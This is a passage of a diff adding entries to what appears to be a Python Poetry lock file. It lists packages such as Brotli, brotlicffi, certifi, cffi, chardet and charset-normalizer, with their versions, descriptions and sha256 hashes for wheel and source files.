+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b43775532a5904bc938f9c15b77c613cb6ad6fb30990f3b0afaea82797a402d8"},
+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:5bf37a08493232fbb0f8229f1824b366c2fc1d02d64e7e918af40acd15f3e337"},
+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:330e3f10cd01da535c70d09c4283ba2df5fb78e915bea0a28becad6e2ac010be"},
+ {file = "Brotli-1.0.9-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e1abbeef02962596548382e393f56e4c94acd286bd0c5afba756cffc33670e8a"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3148362937217b7072cf80a2dcc007f09bb5ecb96dae4617316638194113d5be"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:336b40348269f9b91268378de5ff44dc6fbaa2268194f85177b53463d313842a"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3b8b09a16a1950b9ef495a0f8b9d0a87599a9d1f179e2d4ac014b2ec831f87e7"},
+ {file = "Brotli-1.0.9-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c8e521a0ce7cf690ca84b8cc2272ddaf9d8a50294fd086da67e517439614c755"},
+ {file = "Brotli-1.0.9.zip", hash = "sha256:4d1b810aa0ed773f81dceda2cc7b403d01057458730e309856356d4ef4188438"},
+]
+
+[[package]]
+name = "brotlicffi"
+version = "1.0.9.2"
+description = "Python CFFI bindings to the Brotli library"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:408ec4359f9763280d5c4e0ad29c51d1240b25fdd18719067e972163b4125b98"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2e4629f7690ded66c8818715c6d4dd6a7ff6a4f10fad6186fe99850f781ce210"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:137c4635edcdf593de5ce9d0daa596bf499591b16b8fca5fd72a490deb54b2ee"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:af8a1b7bcfccf9c41a3c8654994d6a81821fdfe4caddcfe5045bfda936546ca3"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9078432af4785f35ab3840587eed7fb131e3fc77eb2a739282b649b343c584dd"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7bb913d5bf3b4ce2ec59872711dc9faaff5f320c3c3827cada2d8a7b793a7753"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:16a0c9392a1059e2e62839fbd037d2e7e03c8ae5da65e9746f582464f7fab1bb"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:94d2810efc5723f1447b332223b197466190518a3eeca93b9f357efb5b22c6dc"},
+ {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:9e70f3e20f317d70912b10dbec48b29114d3dbd0e9d88475cb328e6c086f0546"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:586f0ea3c2eed455d5f2330b9ab4a591514c8de0ee53d445645efcfbf053c69f"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_i686.whl", hash = "sha256:4454c3baedc277fd6e65f983e3eb8e77f4bc15060f69370a0201746e2edeca81"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:52c1c12dad6eb1d44213a0a76acf5f18f64653bd801300bef5e2f983405bdde5"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:21cd400d24b344c218d8e32b394849e31b7c15784667575dbda9f65c46a64b0a"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:71061f8bc86335b652e442260c4367b782a92c6e295cf5a10eff84c7d19d8cf5"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:15e0db52c56056be6310fc116b3d7c6f34185594e261f23790b2fb6489998363"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-win32.whl", hash = "sha256:551305703d12a2dd1ae43d3dde35dee20b1cb49b5796279d4d34e2c6aec6be4d"},
+ {file = "brotlicffi-1.0.9.2-cp35-abi3-win_amd64.whl", hash = "sha256:2be4fb8a7cb482f226af686cd06d2a2cab164ccdf99e460f8e3a5ec9a5337da2"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:8e7221d8a084d32d15c7b58e0ce0573972375c5038423dbe83f217cfe512e680"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:75a46bc5ed2753e1648cc211dcb2c1ac66116038766822dc104023f67ff4dfd8"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1e27c43ef72a278f9739b12b2df80ee72048cd4cbe498f8bbe08aaaa67a5d5c8"},
+ {file = "brotlicffi-1.0.9.2-pp27-pypy_73-win32.whl", hash = "sha256:feb942814285bdc5e97efc77a04e48283c17dfab9ea082d79c0a7b9e53ef1eab"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6208d82c3172eeeb3be83ed4efd5831552c7cd47576468e50fcf0fb23fcf97f"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:408c810c599786fb806556ff17e844a903884e6370ca400bcec7fa286149f39c"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:a73099858ee343e8801710a08be8d194f47715ff21e98d92a19ac461058f52d1"},
+ {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:916b790f967a18a595e61f218c252f83718ac91f24157d622cf0fa710cd26ab7"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ba4a00263af40e875ec3d6c7f623cbf8c795b55705da18c64ec36b6bf0848bc5"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux1_x86_64.whl", hash = "sha256:df78aa47741122b0d5463f1208b7bb18bc9706dee5152d9f56e0ead4865015cd"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:9030cd5099252d16bfa4e22659c84a89c102e94f8e81d30764788b72e2d7cfb7"},
+ {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-win32.whl", hash = "sha256:7e72978f4090a161885b114f87b784f538dcb77dafc6602592c1cf39ae8d243d"},
+ {file = "brotlicffi-1.0.9.2.tar.gz", hash = "sha256:0c248a68129d8fc6a217767406c731e498c3e19a7be05ea0a90c3c86637b7d96"},
+]
+
+[package.dependencies]
+cffi = ">=1.0.0"
+
+[[package]]
+name = "certifi"
+version = "2022.12.7"
+description = "Python package for providing Mozilla's CA Bundle."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"},
+ {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"},
+]
+
+[[package]]
+name = "cffi"
+version = "1.15.1"
+description = "Foreign Function Interface for Python calling C code."
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"},
+ {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"},
+ {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"},
+ {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"},
+ {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"},
+ {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"},
+ {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"},
+ {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"},
+ {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"},
+ {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"},
+ {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"},
+ {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"},
+ {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"},
+ {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"},
+ {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"},
+ {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"},
+ {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"},
+ {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"},
+ {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"},
+ {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"},
+ {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"},
+ {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"},
+ {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"},
+ {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3b926aa83d1edb5aa5b427b4053dc420ec295a08e40911296b9eb1b6170f6cca"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:87c450779d0914f2861b8526e035c5e6da0a3199d8f1add1a665e1cbc6fc6d02"},
+ {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2c9f67e9821cad2e5f480bc8d83b8742896f1242dba247911072d4fa94c192"},
+ {file = "cffi-1.15.1-cp38-cp38-win32.whl", hash = "sha256:8b7ee99e510d7b66cdb6c593f21c043c248537a32e0bedf02e01e9553a172314"},
+ {file = "cffi-1.15.1-cp38-cp38-win_amd64.whl", hash = "sha256:00a9ed42e88df81ffae7a8ab6d9356b371399b91dbdf0c3cb1e84c03a13aceb5"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:54a2db7b78338edd780e7ef7f9f6c442500fb0d41a5a4ea24fff1c929d5af585"},
+ {file = "cffi-1.15.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fcd131dd944808b5bdb38e6f5b53013c5aa4f334c5cad0c72742f6eba4b73db0"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7473e861101c9e72452f9bf8acb984947aa1661a7704553a9f6e4baa5ba64415"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c9a799e985904922a4d207a94eae35c78ebae90e128f0c4e521ce339396be9d"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3bcde07039e586f91b45c88f8583ea7cf7a0770df3a1649627bf598332cb6984"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:33ab79603146aace82c2427da5ca6e58f2b3f2fb5da893ceac0c42218a40be35"},
+ {file = "cffi-1.15.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5d598b938678ebf3c67377cdd45e09d431369c3b1a5b331058c338e201f12b27"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:db0fbb9c62743ce59a9ff687eb5f4afbe77e5e8403d6697f7446e5f609976f76"},
+ {file = "cffi-1.15.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:98d85c6a2bef81588d9227dde12db8a7f47f639f4a17c9ae08e773aa9c697bf3"},
+ {file = "cffi-1.15.1-cp39-cp39-win32.whl", hash = "sha256:40f4774f5a9d4f5e344f31a32b5096977b5d48560c5592e2f3d2c4374bd543ee"},
+ {file = "cffi-1.15.1-cp39-cp39-win_amd64.whl", hash = "sha256:70df4e3b545a17496c9b3f41f5115e69a4f2e77e94e1d2a8e1070bc0c38c8a3c"},
+ {file = "cffi-1.15.1.tar.gz", hash = "sha256:d400bfb9a37b1351253cb402671cea7e89bdecc294e8016a707f6d1d8ac934f9"},
+]
+
+[package.dependencies]
+pycparser = "*"
+
+[[package]]
+name = "chardet"
+version = "5.1.0"
+description = "Universal encoding detector for Python 3"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "chardet-5.1.0-py3-none-any.whl", hash = "sha256:362777fb014af596ad31334fde1e8c327dfdb076e1960d1694662d46a6917ab9"},
+ {file = "chardet-5.1.0.tar.gz", hash = "sha256:0d62712b956bc154f85fb0a266e2a3c5913c2967e00348701b32411d6def31e5"},
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.1.0"
+description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
+category = "main"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "charset-normalizer-3.1.0.tar.gz", hash = "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-win32.whl", hash = "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448"},
+ {file = "charset_normalizer-3.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-win32.whl", hash = "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909"},
+ {file = "charset_normalizer-3.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d"},
+ {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6"},
